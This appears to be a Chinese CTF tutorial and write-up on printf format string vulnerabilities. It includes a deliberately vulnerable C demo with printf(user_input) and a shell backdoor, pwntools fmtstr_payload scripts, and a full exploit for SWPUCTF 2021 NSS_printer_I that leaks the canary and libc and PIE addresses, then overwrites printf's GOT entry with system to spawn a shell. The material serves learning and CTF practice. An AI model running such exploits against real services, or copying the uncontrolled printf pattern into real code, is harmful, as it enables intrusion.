在你的内存刻上奇怪的符号
函数原型 printf (“格式化字符串”,参量… ) 函数的返回值是正确输出的字符的个数,如果输出失败,返回负值。 参量表中参数的个数是不定的(如何实现参数的个数不定,可以参考《程序员的自我修养》这本书),可以是一个,可以是两个,三个…,也可以没有参数。 printf函数的格式化字符串常见的有 %d,%f,%c,%s,%x(输出16进制数,前面没有0x),%p(输出16进制数,前面带有0x)等等。 但是有个不常见的格式化字符串 %n ,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
除了%n,还有%hn,%hhn,%lln,分别为写入目标空间2字节,1字节,8字节。 注意是对应参数(这个参数是指针)的对应的地址开始起几个字节。不要觉得%lln,取的是8个字节的指针,%n取的就是4个字节的指针,取的是多少字节的指针只跟程序的位数有关,如果是32位的程序,%n取的就是4字节指针,64位取的就是8字节指针,这是因为不同位数的程序,每个参数对应的字节数是不同的。 接下来写个程序看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include <stdio.h> int d = 1 ; char x[] ="/bin/sh" int main() { int n=0 ; printf ("aaaaa%n\n" ,&n); printf ("%d\n" ,n); int a=114 ; printf ("%d\n" ,a); char b[]="str1k3" ; printf (b); printf ("\n" ); char c[256 ]; read(0 ,c,0x64 ); printf (c); puts (x); if (d==0 ) { backdoor(); } return 0 ; }int backdoor () { return system("/bin/sh" ); }
1 2 3 4 5 6 7 Starting program: /home/str1k3/Desktop/test aaaaa 5 114 str1k3 aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p aaaaaaaa-0xa-(nil)-(nil)-0xa-0x7c-0x6161616161616161-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x7025-0x401090-0x336b3172747320[Inferior 1 (process 14255) exited normally]
如果我们只传入了格式化字符串而没有传入参数
那么格式化字符串仍然会遵循着原先的逻辑,向高地址处逐个字长的输出当前栈的内容/指针(输出的方式根据其格式化字符的不同而不同)
这是因为printf函数并不知道参数个数,它的内部有个指针,用来索检格式化字符串。对于特定类型%,就去取相应参数的值,直到索检到格式化字符串结束
pwntools已集成格式化字符串漏洞攻击方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * p = process('./test' ) elf =ELF('./test' ) context(log_level='debug' ,arch='amd64' , os='linux' )def fmt1 (): p.recv() payload=fmtstr_payload(6 ,{0x404048 :0 }) p.sendline(payload) p.interactive()def fmt2 (): p.recv() payload=fmtstr_payload(6 ,{elf.got['puts' ]:elf.plt['system' ]}) p.sendline(payload) p.interactive() fmt2()
下面放一道综合一点的题[SWPUCTF 2021 新生赛]NSS_printer_I checksec
1 2 3 4 5 6 [*] '/home/str1k3/.cache/vmware/drag_and_drop/3CJjqN/NSS_printer' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { char buf[104 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init(); while ( 1 ) { puts ("======================================" ); puts ("=====welcone to use NSS printer!======" ); printf ("input what you want to say: " ); read(0 , buf, 0x64 uLL); printf ("you said:" ); printf (buf); } }
保护全开。存在格式化字符串漏洞,考虑内存任意写改got表。开了pie,可利用地址相对位置不变,地址后三位不变的特性绕过。 最终想法是把printf改成system,然后通过手动输入/bin/sh来拿到shell
用上文的测试方式:aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 可调试得: 偏移:6 11(_start)+ 6 = 17 #有些师傅用的这个来算基址 13(canary)+ 6(偏移) = 19(真实地址) 15(__libc_start_main)+6(偏移) = 21(真实地址) 19(main)+6(偏移) = 25(真实地址)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from LibcSearcher import *from pwn import * context(os='linux' , arch='amd64' , log_level='debug' ) p = process('./NSS_printer' ) elf = ELF('./NSS_printer' ) libc = ELF('./libc-2.23.so' ) payload1 = "%19$p..%21$p-%25$p" p.recvuntil("input what you want to say: " ) p.sendline(payload1) p.recvuntil('you said:' ) canary = int (p.recv(18 ),16 )print ('canary_addr' ,hex (canary)) p.recvuntil('..' ) libc_start_main = int (p.recv(14 ),16 )-240 print ('libc_start_main' ,hex (libc_start_main)) p.recvuntil('-' ) elf_base = int (p.recv(14 ),16 )-0xA14 printf_addr = elf_base+elf.got['printf' ]print ('elf_base' ,hex (elf_base))print ('printf_addr' ,hex (printf_addr)) libc = LibcSearcher('__libc_start_main' ,libc_start_main) libc_base = libc_start_main - libc.dump("__libc_start_main" ) system_addr = libc_base + libc.dump("system" ) bin_addr = libc_base + libc.dump("str_bin_sh" )print ('libc_start_main:' ,hex (libc_start_main))print ('libc_base:' ,hex (libc_base))print ('system_addr:' ,hex (system_addr))print ('bin_addr:' ,hex (bin_addr)) payload = fmtstr_payload(6 ,{printf_addr:system_addr},write_size='short' )print (len (payload)) p.recvuntil("input what you want to say: " ) p.sendline(payload) p.sendline(b'/bin/sh\x00' ) p.interactive()